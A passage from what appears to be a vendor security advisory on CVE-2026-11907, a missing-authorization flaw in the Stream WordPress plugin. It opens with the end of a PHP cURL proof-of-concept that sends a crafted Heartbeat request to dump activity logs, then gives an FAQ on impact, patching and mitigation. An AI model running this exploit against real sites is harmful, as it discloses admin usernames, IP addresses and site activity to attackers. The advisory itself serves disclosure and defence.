        'wp-stream-heartbeat' => 'live-update',
    ),
    'interval' => '15',
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Output the response (contains activity records if vulnerable)
echo $response;

// Cleanup (optional)
unlink('cookies.txt');

Frequently Asked Questions

What is CVE-2026-11907?
Vulnerability overview
CVE-2026-11907 is a missing authorization vulnerability in the Stream plugin for WordPress, affecting versions up to and including 4.2.0. It allows authenticated users with subscriber-level access to view sensitive activity records via the Heartbeat API. The issue is fixed in version 4.2.1.
How does the vulnerability work?
Technical explanation
The Stream plugin’s Live_Update class fails to check if the current user has the required capability (view_cap, typically manage_options) before processing Heartbeat API requests. An attacker can send a heartbeat request with the wp-stream-heartbeat parameter set to live-update, and the plugin returns the full activity log, including admin actions and user details.
Who is affected by this vulnerability?
Affected users and sites
Any WordPress site running Stream plugin version 4.2.0 or earlier is affected. The vulnerability can be exploited by any authenticated user with subscriber-level access or higher, meaning even the lowest-privileged accounts can access sensitive data.
How can I check if my site is vulnerable?
Detection steps
Check the Stream plugin version in your WordPress admin under Plugins. If it is 4.2.0 or lower, your site is vulnerable. You can also verify by attempting to access the activity log as a subscriber user, but it is safer to update immediately.
What is the practical risk of this vulnerability?
Impact assessment
The risk is information disclosure. An attacker can see the full audit trail, including usernames, IP addresses, and actions taken by admins. This can aid in further attacks, such as targeted phishing or privilege escalation, but it does not directly allow code execution or data modification.
How is the vulnerability fixed?
Patch details
The fix in version 4.2.1 adds a capability check using current_user_can() in the live_update method. This ensures that only users with the view_cap capability can access the activity stream. The patch also includes minor code improvements, such as adding a missing text domain.
What should I do to mitigate the risk?
Immediate actions
Update the Stream plugin to version 4.2.1 or later as soon as possible. If you cannot update immediately, consider disabling the Heartbeat API for non-admin users or restricting subscriber access to the admin area, though these are temporary measures.
Does the proof of concept require special tools?
PoC requirements
The provided PoC uses standard PHP and cURL to log in as a subscriber and send a heartbeat request. It requires no special tools beyond a web server or command line with PHP and cURL. It demonstrates the ease of exploitation.
What information can be disclosed through this vulnerability?
Data at risk
The activity log contains details such as user logins, content changes, plugin activations, and IP addresses. This information can reveal admin usernames and site structure, which can be used for social engineering or targeted attacks.
Is this vulnerability actively exploited?
Exploitation status
There is no public evidence of active exploitation at the time of disclosure. However, given the low complexity and the availability of a PoC, it is advisable to patch promptly to prevent potential attacks.
How does the CVSS score of 6.5 translate to real-world severity?
Severity interpretation
A CVSS score of 6.5 is considered medium severity. It indicates a moderate impact on confidentiality, with no impact on integrity or availability. The attack requires low privileges and no user interaction, making it relatively easy to exploit, but the damage is limited to information disclosure.
Where can I find more information about this vulnerability?
Additional resources
You can refer to the official WordPress plugin advisory, the CVE record, and the detailed analysis from Atomic Edge. The plugin’s changelog also provides information about the fix. Always ensure you are using the latest version of the plugin.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started